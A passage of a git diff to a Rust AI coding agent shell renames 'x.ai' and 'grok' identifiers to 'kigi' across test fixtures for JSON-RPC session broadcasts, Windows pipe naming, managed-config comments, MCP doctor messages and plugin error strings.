+            r#"{{"jsonrpc":"2.0","method":"kigi/session_notification","params":{{"sessionId":"sess-last","_meta":{{"isReplay":true,"kigi/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_spawned","child_session_id":"child-last"}}}}}}"#,
             a_id.0
         );
         response_tx.send(spawned_replay).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_spawned").await;
         let finished_replay = format!(
-            r#"{{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{{"sessionId":"sess-last","_meta":{{"isReplay":true,"x.ai/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_finished","child_session_id":"child-last"}}}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"kigi/session_notification","params":{{"sessionId":"sess-last","_meta":{{"isReplay":true,"kigi/leaderClientId":{}}},"update":{{"sessionUpdate":"subagent_finished","child_session_id":"child-last"}}}}}}"#,
             a_id.0
         );
         response_tx.send(finished_replay).unwrap();
@@ -5065,7 +5065,7 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let spawned_live = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-midload","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-midload"}}}"#;
+        let spawned_live = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-midload","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-midload"}}}"#;
         response_tx.send(spawned_live.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "subagent_spawned").await;
         drop(reader_a);
@@ -5104,7 +5104,7 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let req = r#"{"jsonrpc":"2.0","id":801,"method":"_x.ai/ask_user_question","params":{"method":"x.ai/ask_user_question","params":{"sessionId":"sess-int","toolCallId":"tc-reconnect","questions":[]}}}"#;
+        let req = r#"{"jsonrpc":"2.0","id":801,"method":"_kigi/ask_user_question","params":{"method":"kigi/ask_user_question","params":{"sessionId":"sess-int","toolCallId":"tc-reconnect","questions":[]}}}"#;
         response_tx.send(req.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "ask_user_question").await;
         tokio::time::sleep(Duration::from_millis(30)).await;
@@ -5133,7 +5133,7 @@ mod tests {
         let temp = TempDir::new().unwrap();
         let (sock_path, cancel, response_tx, mut acp_rx) =
             setup_persistent_server_with_agent(&temp).await;
-        let req = r#"{"jsonrpc":"2.0","id":901,"method":"_x.ai/ask_user_question","params":{"method":"x.ai/ask_user_question","params":{"sessionId":"sess-int","toolCallId":"tc-nosub","questions":[]}}}"#;
+        let req = r#"{"jsonrpc":"2.0","id":901,"method":"_kigi/ask_user_question","params":{"method":"kigi/ask_user_question","params":{"sessionId":"sess-int","toolCallId":"tc-nosub","questions":[]}}}"#;
         response_tx.send(req.to_string()).unwrap();
         tokio::time::sleep(Duration::from_millis(40)).await;
         let (mut reader_a, mut writer_a) = connect_and_register(&sock_path, "client-a").await;
@@ -5159,10 +5159,10 @@ mod tests {
         complete_load(&mut acp_rx, &response_tx).await;
         let _ = next_acp_payload(&mut reader_a).await;
         tokio::time::sleep(Duration::from_millis(30)).await;
-        let req = r#"{"jsonrpc":"2.0","id":701,"method":"_x.ai/ask_user_question","params":{"method":"x.ai/ask_user_question","params":{"sessionId":"sess-int","toolCallId":"tc-ev","questions":[]}}}"#;
+        let req = r#"{"jsonrpc":"2.0","id":701,"method":"_kigi/ask_user_question","params":{"method":"kigi/ask_user_question","params":{"sessionId":"sess-int","toolCallId":"tc-ev","questions":[]}}}"#;
         response_tx.send(req.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "ask_user_question").await;
-        let resolved = r#"{"method":"_x.ai/session_notification","params":{"method":"x.ai/session_notification","params":{"sessionId":"sess-int","update":{"sessionUpdate":"interaction_resolved","tool_call_id":"tc-ev"}}}}"#;
+        let resolved = r#"{"method":"_kigi/session_notification","params":{"method":"kigi/session_notification","params":{"sessionId":"sess-int","update":{"sessionUpdate":"interaction_resolved","tool_call_id":"tc-ev"}}}}"#;
         response_tx.send(resolved.to_string()).unwrap();
         let _ = next_acp_payload_matching(&mut reader_a, "interaction_resolved").await;
         tokio::time::sleep(Duration::from_millis(30)).await;
@@ -5234,7 +5234,7 @@ mod tests {
         );
         cancel.cancel();
     }
-    /// `x.ai/sessions/changed` is a machine-wide roster notification with no
+    /// `kigi/sessions/changed` is a machine-wide roster notification with no
     /// sessionId; it must broadcast to every registered client (not just the
     /// last-active one) so all open dashboards stay in sync.
     #[tokio::test]
@@ -5244,7 +5244,7 @@ mod tests {
         let (mut reader_a, _writer_a) = connect_and_register(&sock_path, "client-a").await;
         let (mut reader_b, _writer_b) = connect_and_register(&sock_path, "client-b").await;
         tokio::time::sleep(Duration::from_millis(20)).await;
-        let changed = r#"{"jsonrpc":"2.0","method":"x.ai/sessions/changed","params":{"upserted":[{"sessionId":"sess-roster","cwd":"/repo","isWorktree":false,"yolo":false,"activity":"working","resident":true,"lastChangeUnixMs":1,"origin":{"kind":"local"}}],"removed":[]}}"#;
+        let changed = r#"{"jsonrpc":"2.0","method":"kigi/sessions/changed","params":{"upserted":[{"sessionId":"sess-roster","cwd":"/repo","isWorktree":false,"yolo":false,"activity":"working","resident":true,"lastChangeUnixMs":1,"origin":{"kind":"local"}}],"removed":[]}}"#;
         response_tx.send(changed.to_string()).unwrap();
         let got_a = next_acp_payload(&mut reader_a).await;
         let got_b = next_acp_payload(&mut reader_b).await;
@@ -5258,11 +5258,11 @@ mod tests {
         );
         cancel.cancel();
     }
-    /// `x.ai/models/update` is a machine-wide catalog notification with no
+    /// `kigi/models/update` is a machine-wide catalog notification with no
     /// sessionId; it must broadcast to every registered client so every model
     /// picker refreshes after a config.toml / models_cache.json hot-reload —
     /// not just the last-active client. Uses the production wire form: agent
-    /// ext notifications arrive `_`-prefixed (`_x.ai/models/update`).
+    /// ext notifications arrive `_`-prefixed (`_kigi/models/update`).
     #[tokio::test]
     async fn models_update_broadcasts_to_all_clients() {
         let temp = TempDir::new().unwrap();
@@ -5270,21 +5270,21 @@ mod tests {
         let (mut reader_a, _writer_a) = connect_and_register(&sock_path, "client-a").await;
         let (mut reader_b, _writer_b) = connect_and_register(&sock_path, "client-b").await;
         tokio::time::sleep(Duration::from_millis(20)).await;
-        let update = r#"{"jsonrpc":"2.0","method":"_x.ai/models/update","params":{"currentModelId":"grok-new","availableModels":[{"modelId":"grok-new","name":"Grok New"}]}}"#;
+        let update = r#"{"jsonrpc":"2.0","method":"_kigi/models/update","params":{"currentModelId":"kigi-new","availableModels":[{"modelId":"kigi-new","name":"Kigi New"}]}}"#;
         response_tx.send(update.to_string()).unwrap();
         let got_a = next_acp_payload(&mut reader_a).await;
         let got_b = next_acp_payload(&mut reader_b).await;
         assert!(
-            got_a.as_deref().is_some_and(|p| p.contains("grok-new")),
+            got_a.as_deref().is_some_and(|p| p.contains("kigi-new")),
             "client A must receive the models broadcast, got {got_a:?}"
         );
         assert!(
-            got_b.as_deref().is_some_and(|p| p.contains("grok-new")),
+            got_b.as_deref().is_some_and(|p| p.contains("kigi-new")),
             "client B must receive the models broadcast, got {got_b:?}"
         );
         cancel.cancel();
     }
-    /// `x.ai/mcp/servers_updated` is a machine-wide MCP-catalog notification
+    /// `kigi/mcp/servers_updated` is a machine-wide MCP-catalog notification
     /// with no sessionId (session-agnostic by design); it must broadcast to
     /// every registered client so managed connectors don't vanish from clients
     /// that weren't last-active when the post-initialize background fetch
@@ -5297,7 +5297,7 @@ mod tests {
         let (mut reader_a, _writer_a) = connect_and_register(&sock_path, "client-a").await;
         let (mut reader_b, _writer_b) = connect_and_register(&sock_path, "client-b").await;
         tokio::time::sleep(Duration::from_millis(20)).await;
-        let update = r#"{"jsonrpc":"2.0","method":"_x.ai/mcp/servers_updated","params":{"method":"x.ai/mcp/servers_updated","params":{"mcpServers":[{"name":"team_slack","source":"local"}]}}}"#;
+        let update = r#"{"jsonrpc":"2.0","method":"_kigi/mcp/servers_updated","params":{"method":"kigi/mcp/servers_updated","params":{"mcpServers":[{"name":"team_slack","source":"local"}]}}}"#;
         response_tx.send(update.to_string()).unwrap();
         let got_a = next_acp_payload(&mut reader_a).await;
         let got_b = next_acp_payload(&mut reader_b).await;
@@ -5317,28 +5317,28 @@ mod tests {
     #[test]
     fn machine_wide_broadcast_classifier_matches_both_wire_forms() {
         assert!(is_machine_wide_broadcast_notification(&pv(
-            r#"{"jsonrpc":"2.0","method":"x.ai/sessions/changed","params":{}}"#
+            r#"{"jsonrpc":"2.0","method":"kigi/sessions/changed","params":{}}"#
         )));
         assert!(is_machine_wide_broadcast_notification(&pv(
-            r#"{"jsonrpc":"2.0","method":"x.ai/models/update","params":{}}"#
+            r#"{"jsonrpc":"2.0","method":"kigi/models/update","params":{}}"#
         )));
         assert!(is_machine_wide_broadcast_notification(&pv(
-            r#"{"jsonrpc":"2.0","method":"x.ai/mcp/servers_updated","params":{}}"#
+            r#"{"jsonrpc":"2.0","method":"kigi/mcp/servers_updated","params":{}}"#
         )));
         assert!(is_machine_wide_broadcast_notification(&pv(
-            r#"{"jsonrpc":"2.0","method":"_x.ai/sessions/changed","params":{}}"#
+            r#"{"jsonrpc":"2.0","method":"_kigi/sessions/changed","params":{}}"#
         )));
         assert!(is_machine_wide_broadcast_notification(&pv(
-            r#"{"jsonrpc":"2.0","method":"_x.ai/models/update","params":{}}"#
+            r#"{"jsonrpc":"2.0","method":"_kigi/models/update","params":{}}"#
         )));
         assert!(is_machine_wide_broadcast_notification(&pv(
-            r#"{"jsonrpc":"2.0","method":"_x.ai/mcp/servers_updated","params":{"method":"x.ai/mcp/servers_updated","params":{"mcpServers":[]}}}"#
+            r#"{"jsonrpc":"2.0","method":"_kigi/mcp/servers_updated","params":{"method":"kigi/mcp/servers_updated","params":{"mcpServers":[]}}}"#
         )));
         assert!(!is_machine_wide_broadcast_notification(&pv(
             r#"{"jsonrpc":"2.0","method":"session/update","params":{"sessionId":"s"}}"#
         )));
         assert!(!is_machine_wide_broadcast_notification(&pv(
-            r#"{"jsonrpc":"2.0","method":"x.ai/settings/update","params":{}}"#
+            r#"{"jsonrpc":"2.0","method":"kigi/settings/update","params":{}}"#
         )));
     }
     /// Verify that the leader injects `codeNavEnabled: true` into session/new
@@ -5354,7 +5354,7 @@ mod tests {
         };
         let payload = r#"{"jsonrpc":"2.0","method":"session/new","id":1,"params":{"cwd":"/repo","_meta":{}}}"#;
         let mut json = pv(payload);
-        inject_capabilities_into_session_new(&mut json, &caps, "grok-web", ClientId(1));
+        inject_capabilities_into_session_new(&mut json, &caps, "kigi-web", ClientId(1));
         assert_eq!(
             json["params"]["_meta"]["codeNavEnabled"],
             serde_json::json!(true),
@@ -5373,9 +5373,9 @@ mod tests {
             code_nav_enabled: false,
             ..Default::default()
         };
-        let payload = r#"{"jsonrpc":"2.0","method":"session/new","id":1,"params":{"cwd":"/repo","_meta":{"clientIdentifier":"grok-tui"}}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"session/new","id":1,"params":{"cwd":"/repo","_meta":{"clientIdentifier":"kigi-tui"}}}"#;
         let mut json = pv(payload);
-        inject_capabilities_into_session_new(&mut json, &caps, "grok-tui", ClientId(1));
+        inject_capabilities_into_session_new(&mut json, &caps, "kigi-tui", ClientId(1));
         assert_eq!(
             json["params"]["_meta"]["codeNavEnabled"],
             serde_json::json!(false),
@@ -5395,7 +5395,7 @@ mod tests {
         };
         let payload = r#"{"jsonrpc":"2.0","method":"session/load","id":2,"params":{"sessionId":"abc","cwd":"/repo","_meta":{}}}"#;
         let mut json = pv(payload);
-        inject_capabilities_into_session_new(&mut json, &caps, "grok-web", ClientId(1));
+        inject_capabilities_into_session_new(&mut json, &caps, "kigi-web", ClientId(1));
         assert_eq!(
             json["params"]["_meta"]["codeNavEnabled"],
             serde_json::json!(true),
@@ -5417,9 +5417,9 @@ mod tests {
         };
         let session_new = r#"{"jsonrpc":"2.0","method":"session/new","id":1,"params":{"cwd":"/repo","_meta":{}}}"#;
         let mut web_json = pv(session_new);
-        inject_capabilities_into_session_new(&mut web_json, &web_caps, "grok-web", ClientId(1));
+        inject_capabilities_into_session_new(&mut web_json, &web_caps, "kigi-web", ClientId(1));
         let mut tui_json = pv(session_new);
-        inject_capabilities_into_session_new(&mut tui_json, &tui_caps, "grok-tui", ClientId(2));
+        inject_capabilities_into_session_new(&mut tui_json, &tui_caps, "kigi-tui", ClientId(2));
         assert_eq!(
             web_json["params"]["_meta"]["codeNavEnabled"],
             serde_json::json!(true)
@@ -5445,9 +5445,9 @@ mod tests {
         };
         let session_new = r#"{"jsonrpc":"2.0","method":"session/new","id":1,"params":{"cwd":"/repo","_meta":{}}}"#;
         let mut web_json = pv(session_new);
-        inject_capabilities_into_session_new(&mut web_json, &web_caps, "grok-web", ClientId(1));
+        inject_capabilities_into_session_new(&mut web_json, &web_caps, "kigi-web", ClientId(1));
         let mut tui_json = pv(session_new);
-        inject_capabilities_into_session_new(&mut tui_json, &tui_caps, "grok-tui", ClientId(2));
+        inject_capabilities_into_session_new(&mut tui_json, &tui_caps, "kigi-tui", ClientId(2));
         assert_eq!(
             web_json["params"]["_meta"]["clientTerminal"],
             serde_json::json!(true)
@@ -5483,7 +5483,7 @@ mod tests {
         };
         let session_load = r#"{"jsonrpc":"2.0","method":"session/load","id":2,"params":{"sessionId":"sess-1","_meta":{}}}"#;
         let mut json = pv(session_load);
-        inject_capabilities_into_session_new(&mut json, &caps, "grok-web", ClientId(1));
+        inject_capabilities_into_session_new(&mut json, &caps, "kigi-web", ClientId(1));
         assert_eq!(
             json["params"]["_meta"]["clientTerminal"],
             serde_json::json!(true)
@@ -5514,7 +5514,7 @@ mod tests {
         tokio::time::sleep(Duration::from_millis(50)).await;
         response_tx
             .send(
-                r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-parent","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-123"}}}"#
+                r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-parent","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-123"}}}"#
                     .into(),
             )
             .unwrap();
@@ -5525,7 +5525,7 @@ mod tests {
                 .unwrap();
         response_tx
             .send(
-                r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"child-123","update":{"sessionUpdate":"message_delta","content":"hello"}}}"#
+                r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"child-123","update":{"sessionUpdate":"message_delta","content":"hello"}}}"#
                     .into(),
             )
             .unwrap();
@@ -5560,7 +5560,7 @@ mod tests {
         tokio::time::sleep(Duration::from_millis(50)).await;
         response_tx
             .send(
-                r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-parent","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-456"}}}"#
+                r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-parent","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-456"}}}"#
                     .into(),
             )
             .unwrap();
@@ -5571,7 +5571,7 @@ mod tests {
                 .unwrap();
         response_tx
             .send(
-                r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-parent","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-456"}}}"#
+                r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-parent","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-456"}}}"#
                     .into(),
             )
             .unwrap();
@@ -5582,7 +5582,7 @@ mod tests {
                 .unwrap();
         response_tx
             .send(
-                r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"child-456","update":{"sessionUpdate":"message_delta"}}}"#
+                r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"child-456","update":{"sessionUpdate":"message_delta"}}}"#
                     .into(),
             )
             .unwrap();
@@ -5611,7 +5611,7 @@ mod tests {
         tokio::time::sleep(Duration::from_millis(50)).await;
         response_tx
             .send(
-                r#"{"jsonrpc":"2.0","method":"_x.ai/session_notification","params":{"method":"x.ai/session_notification","params":{"sessionId":"sess-parent","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-789"}}}}"#
+                r#"{"jsonrpc":"2.0","method":"_kigi/session_notification","params":{"method":"kigi/session_notification","params":{"sessionId":"sess-parent","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-789"}}}}"#
                     .into(),
             )
             .unwrap();
@@ -5632,7 +5632,7 @@ mod tests {
         tokio::time::sleep(Duration::from_millis(50)).await;
         response_tx
             .send(
-                r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"child-789","update":{"sessionUpdate":"message_delta"}}}"#
+                r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"child-789","update":{"sessionUpdate":"message_delta"}}}"#
                     .into(),
             )
             .unwrap();
@@ -5686,7 +5686,7 @@ mod tests {
         response_tx
             .send(
                 format!(
-                    r#"{{"jsonrpc":"2.0","method":"session/update","params":{{"sessionId":"sess-1","update":{{"sessionUpdate":"agent_message_chunk"}},"_meta":{{"x.ai/leaderClientId":{}}}}}}}"#,
+                    r#"{{"jsonrpc":"2.0","method":"session/update","params":{{"sessionId":"sess-1","update":{{"sessionUpdate":"agent_message_chunk"}},"_meta":{{"kigi/leaderClientId":{}}}}}}}"#,
                     id_a
                 ),
             )
@@ -5741,7 +5741,7 @@ mod tests {
         response_tx
             .send(
                 format!(
-                    r#"{{"jsonrpc":"2.0","method":"session/update","params":{{"sessionId":"sess-1","update":{{"sessionUpdate":"agent_message_chunk"}},"_meta":{{"isReplay":true,"x.ai/leaderClientId":{}}}}}}}"#,
+                    r#"{{"jsonrpc":"2.0","method":"session/update","params":{{"sessionId":"sess-1","update":{{"sessionUpdate":"agent_message_chunk"}},"_meta":{{"isReplay":true,"kigi/leaderClientId":{}}}}}}}"#,
                     id_a
                 ),
             )
@@ -5749,7 +5749,7 @@ mod tests {
         response_tx
             .send(
                 format!(
-                    r#"{{"jsonrpc":"2.0","method":"_x.ai/session/update","params":{{"params":{{"sessionId":"sess-1","update":{{"sessionUpdate":"hook_annotation","message":"m"}},"_meta":{{"isReplay":true,"x.ai/leaderClientId":{}}}}}}}}}"#,
+                    r#"{{"jsonrpc":"2.0","method":"_kigi/session/update","params":{{"params":{{"sessionId":"sess-1","update":{{"sessionUpdate":"hook_annotation","message":"m"}},"_meta":{{"isReplay":true,"kigi/leaderClientId":{}}}}}}}}}"#,
                     id_a
                 ),
             )
diff --git a/crates/codegen/kigi-shell/src/leader/transport.rs b/crates/codegen/kigi-shell/src/leader/transport.rs
index 7b9a614..da3f802 100644
--- a/crates/codegen/kigi-shell/src/leader/transport.rs
+++ b/crates/codegen/kigi-shell/src/leader/transport.rs
@@ -4,7 +4,7 @@
 //!   `tokio::net::UnixStream` / `UnixListener`. Zero wrapper, no unsafe.
 //! - **Windows:** wraps `tokio::net::windows::named_pipe::*` (tokio doesn't
 //!   expose AF_UNIX on Windows). The leader's filesystem path is hashed
-//!   into `\\.\pipe\grok-leader-<hash>` so callers keep their path-based API.
+//!   into `\\.\pipe\kigi-leader-<hash>` so callers keep their path-based API.
 //!
 #[cfg(unix)]
 pub use tokio::net::UnixListener as LeaderListener;
@@ -233,7 +233,7 @@ mod windows_impl {
         name
     }
 
-    /// Deterministic leaf name (`grok-leader-<hash>`) for a filesystem path.
+    /// Deterministic leaf name (`kigi-leader-<hash>`) for a filesystem path.
     ///
     /// Uses SipHash-1-3 with fixed keys so the hash is stable across Rust
     /// versions (unlike `DefaultHasher`, whose algorithm is unspecified).
@@ -245,7 +245,7 @@ mod windows_impl {
         let mut hasher = SipHasher13::new_with_keys(0x67726f6b_6c656164, 0x65725f70_69706521);
         path.hash(&mut hasher);
         let hash = hasher.finish();
-        std::ffi::OsString::from(format!("grok-leader-{hash:016x}"))
+        std::ffi::OsString::from(format!("kigi-leader-{hash:016x}"))
     }
 
     #[cfg(test)]
@@ -255,8 +255,8 @@ mod windows_impl {
 
         #[test]
         fn pipe_name_is_deterministic() {
-            let a = path_to_pipe_name(Path::new("/tmp/grok.sock"));
-            let b = path_to_pipe_name(Path::new("/tmp/grok.sock"));
+            let a = path_to_pipe_name(Path::new("/tmp/kigi.sock"));
+            let b = path_to_pipe_name(Path::new("/tmp/kigi.sock"));
             assert_eq!(a, b);
         }
 
@@ -271,14 +271,14 @@ mod windows_impl {
         fn pipe_name_has_correct_prefix() {
             let name = path_to_pipe_name(Path::new("/tmp/test.sock"));
             let s = name.to_string_lossy();
-            assert!(s.starts_with(r"\\.\pipe\grok-leader-"), "got: {s}");
+            assert!(s.starts_with(r"\\.\pipe\kigi-leader-"), "got: {s}");
         }
 
         #[test]
         fn pipe_name_is_bounded() {
             let long_path = "/".to_owned() + &"a".repeat(500);
             let name = path_to_pipe_name(Path::new(&long_path));
-            // \\.\pipe\grok-leader- (20 chars) + 16 hex chars = 36 total
+            // \\.\pipe\kigi-leader- (20 chars) + 16 hex chars = 36 total
             assert!(name.len() <= 256, "pipe name too long: {}", name.len());
         }
 
@@ -287,7 +287,7 @@ mod windows_impl {
             // Unique path per process so parallel test binaries don't collide on
             // the derived pipe name.
             let path =
-                std::env::temp_dir().join(format!("grok-ready-probe-{}.sock", std::process::id()));
+                std::env::temp_dir().join(format!("kigi-ready-probe-{}.sock", std::process::id()));
 
             // Nothing bound yet -> ERROR_FILE_NOT_FOUND -> not ready.
             assert!(!listener_is_ready(&path));
diff --git a/crates/codegen/kigi-shell/src/managed_config.rs b/crates/codegen/kigi-shell/src/managed_config.rs
index 0cc6188..92f4645 100644
--- a/crates/codegen/kigi-shell/src/managed_config.rs
+++ b/crates/codegen/kigi-shell/src/managed_config.rs
@@ -116,7 +116,7 @@ fn try_lock_managed_config(home: &std::path::Path) -> Option<std::fs::File> {
 /// Retry budget for a sync, pairing the attempt count with a wall-clock cap.
 #[derive(Clone, Copy)]
 enum SyncBudget {
-    /// Background loop and explicit `grok setup`; runs retries to completion.
+    /// Background loop and explicit `kigi setup`; runs retries to completion.
     Standard,
     /// Post-login sync; capped because login latency is user-visible.
     Login,
@@ -343,7 +343,7 @@ pub(crate) fn spawn_sync(cancel: tokio_util::sync::CancellationToken) {
 }
 
 /// Deployment id reported for `deployment_key` on chat requests, credential
-/// snapshots, and OTel: the **server** GrokBuildDeployment UUID (the id
+/// snapshots, and OTel: the **server** KigiDeployment UUID (the id
 /// server-side dashboards filter on) when the managed-config sync marker was
 /// written by this same key (fingerprint match), else UUIDv5 of the key.
 /// `None` key (team/OAuth) → `None`, never a stale marker value.
@@ -380,7 +380,7 @@ fn deployment_key_fingerprint(key: &str) -> String {
 }
 
 /// Whether managed config fetching is enabled (env > config.toml > default true).
-/// Callers doing auto-fetch should check this; explicit user actions (grok setup) skip it.
+/// Callers doing auto-fetch should check this; explicit user actions (kigi setup) skip it.
 pub fn is_fetch_enabled() -> bool {
     if let Some(v) = crate::agent::config::env_bool("KIGI_MANAGED_CONFIG") {
         return v;
@@ -401,7 +401,7 @@ struct SyncOutcome {
     wrote: bool,
     /// The server returned non-empty config for the consulted principal — true
     /// even when a concurrent writer held the lock and our write was skipped, so
-    /// `grok setup` doesn't misreport a lock skip as "no config".
+    /// `kigi setup` doesn't misreport a lock skip as "no config".
     served: bool,
     /// Which credential was consulted, so callers word team-vs-deployment
     /// messages by what actually served, not just what's configured.
@@ -483,7 +483,7 @@ enum FetchedConfig {
 
 /// Fetches the configuration for the current principal without touching disk:
 /// the deployment key first, then a signed-in team. The installing sync and the
-/// read-only `grok setup --json` both build on this.
+/// read-only `kigi setup --json` both build on this.
 async fn fetch_for_principal(budget: SyncBudget) -> Result<FetchedConfig, ManagedConfigError> {
     let max_attempts = budget.max_attempts();
     // Resolve from the merged config (managed_config_url override) so endpoint
@@ -690,7 +690,7 @@ pub async fn post_login_sync(_authenticated: Option<KimiAuth>) -> ManagedConfigS
     }
 }
 
-/// Whether a credential exists that `grok setup` could install config for.
+/// Whether a credential exists that `kigi setup` could install config for.
 pub fn has_principal() -> bool {
     resolve_deployment_key().is_some()
 }
@@ -770,7 +770,7 @@ network access: reconnect and start again. If you can't reconnect, contact your
 /// policy can't be established gets no unmanaged session. With no signing key it reads the user-writable
 /// marker (a local user can disarm it by editing one field); non-forgeable enforcement is the trust-rooted
 /// layers (root-owned path, MDM, signed cache). No client env disables it; recovery stays open (reconnect /
-/// `grok setup`); ceasing to serve `fail_closed` rolls back.
+/// `kigi setup`); ceasing to serve `fail_closed` rolls back.
 pub fn managed_policy_gate() -> Result<(), String> {
     // Skip under the lib unit-test build only: `bootstrap` reaches this without a staged
     // `KIGI_SHARE_DIR` and would flake on the dev machine's real marker/auth. The pure decision
@@ -824,7 +824,7 @@ fn managed_policy_gate_decision(
     Ok(())
 }
 
-/// Outcome of the `grok setup` sync. The caller renders it — CLI presentation
+/// Outcome of the `kigi setup` sync. The caller renders it — CLI presentation
 /// and exit codes stay out of the library.
 #[derive(Debug)]
 pub enum SetupOutcome {
@@ -836,9 +836,9 @@ pub enum SetupOutcome {
     Failed(ManagedConfigError),
 }
 
-/// Result of `grok setup --json`: what the server serves for the current
+/// Result of `kigi setup --json`: what the server serves for the current
 /// principal, verbatim. `managed_config` may embed the enforced deployment key,
-/// exactly as `grok setup` would write it to disk.
+/// exactly as `kigi setup` would write it to disk.
 #[derive(Debug, serde::Serialize)]
 #[serde(rename_all = "camelCase")]
 pub struct SetupReport {
@@ -849,20 +849,20 @@ pub struct SetupReport {
     pub configured: bool,
     pub deployment_id: Option<String>,
     pub team_id: Option<String>,
-    /// TOML documents exactly as `grok setup` would install them.
+    /// TOML documents exactly as `kigi setup` would install them.
     pub managed_config: Option<String>,
     pub requirements: Option<String>,
     pub fail_closed: bool,
 }
 
-/// Fetches the report behind `grok setup --json` without writing anything:
+/// Fetches the report behind `kigi setup --json` without writing anything:
 /// no artifacts, no signature sidecar, no sync marker.
 pub async fn fetch_setup_report() -> Result<SetupReport, ManagedConfigError> {
     let (source, body) = match fetch_for_principal(SyncBudget::Standard).await? {
         FetchedConfig::DeploymentKey { body, .. } => (Some("deploymentKey"), body),
         FetchedConfig::NoPrincipal => (None, ManagedConfigResponse::default()),
     };
-    // Match the installer's trust decision: a payload `grok setup` would refuse
+    // Match the installer's trust decision: a payload `kigi setup` would refuse
     // is reported as an error, not printed as installable config.
     if source.is_some()
         && kigi_config::signed_policy::verification_active()
@@ -882,7 +882,7 @@ pub async fn fetch_setup_report() -> Result<SetupReport, ManagedConfigError> {
     })
 }
 
-/// Run the `grok setup` sync for the current principal. The caller must check
+/// Run the `kigi setup` sync for the current principal. The caller must check
 /// [`has_principal`] first and render the no-principal guidance.
 pub async fn run_setup() -> SetupOutcome {
     match sync_with_budget(SyncBudget::Standard).await {
diff --git a/crates/codegen/kigi-shell/src/mcp_doctor.rs b/crates/codegen/kigi-shell/src/mcp_doctor.rs
index abb438b..323c122 100644
--- a/crates/codegen/kigi-shell/src/mcp_doctor.rs
+++ b/crates/codegen/kigi-shell/src/mcp_doctor.rs
@@ -1,4 +1,4 @@
-//! `grok mcp doctor` -- runtime health check for MCP servers.
+//! `kigi mcp doctor` -- runtime health check for MCP servers.
 
 use std::collections::HashMap;
 use std::path::Path;
@@ -510,13 +510,13 @@ pub async fn run_doctor(cwd: &Path, name_filter: Option<&str>) -> DoctorReport {
 
     let disabled_names = crate::util::config::disabled_mcp_server_names(cwd);
 
-    // Folder-trust gate: `grok mcp doctor` actually STARTS each server
+    // Folder-trust gate: `kigi mcp doctor` actually STARTS each server
     // (`check_server_start`), so in an untrusted clone it would spawn the repo's
     // project-scoped servers. Resolve the doctor cwd once (no prompt), then skip
     // (do not start) any project-scoped server when untrusted. Reuses the same
     // name primitive as the session/agent-pool gates.
     //
-    // `remote = None` is intentional: standalone `grok mcp doctor` has no loaded
+    // `remote = None` is intentional: standalone `kigi mcp doctor` has no loaded
     // `RemoteSettings`, so a remote-only org `folder_trust_enabled = false`
     // opt-out isn't seen here — gating conservatively (treating the feature as
     // enabled) is the deliberate fail-secure direction. Local env/user/managed
@@ -616,7 +616,7 @@ pub fn print_report(report: &DoctorReport) {
 
     if report.servers.is_empty() {
         println!("  No MCP servers configured.");
-        println!("  Run `grok mcp add --help` to get started.");
+        println!("  Run `kigi mcp add --help` to get started.");
         println!();
         return;
     }
@@ -646,7 +646,7 @@ pub fn print_report(report: &DoctorReport) {
         report.healthy_count,
         report.failing_count,
         if report.failing_count > 0 {
-            " Run `grok mcp doctor --json` for full diagnostics."
+            " Run `kigi mcp doctor --json` for full diagnostics."
         } else {
             ""
         }
diff --git a/crates/codegen/kigi-shell/src/plugin.rs b/crates/codegen/kigi-shell/src/plugin.rs
index 84ee55e..25321e8 100644
--- a/crates/codegen/kigi-shell/src/plugin.rs
+++ b/crates/codegen/kigi-shell/src/plugin.rs
@@ -89,7 +89,7 @@ impl std::fmt::Display for UninstallError {
                 write!(
                     f,
                     "Plugin \"{name}\" not found.\n\
-                     Run `grok plugin list` to see installed plugins."
+                     Run `kigi plugin list` to see installed plugins."
                 )
             }
             Self::NeedsConfirm {
@@ -211,7 +211,7 @@ impl std::fmt::Display for UpdateError {
                 write!(
                     f,
                     "Plugin \"{name}\" not found.\n\
-                     Run `grok plugin list` to see installed plugins."
+                     Run `kigi plugin list` to see installed plugins."
                 )
             }
         }
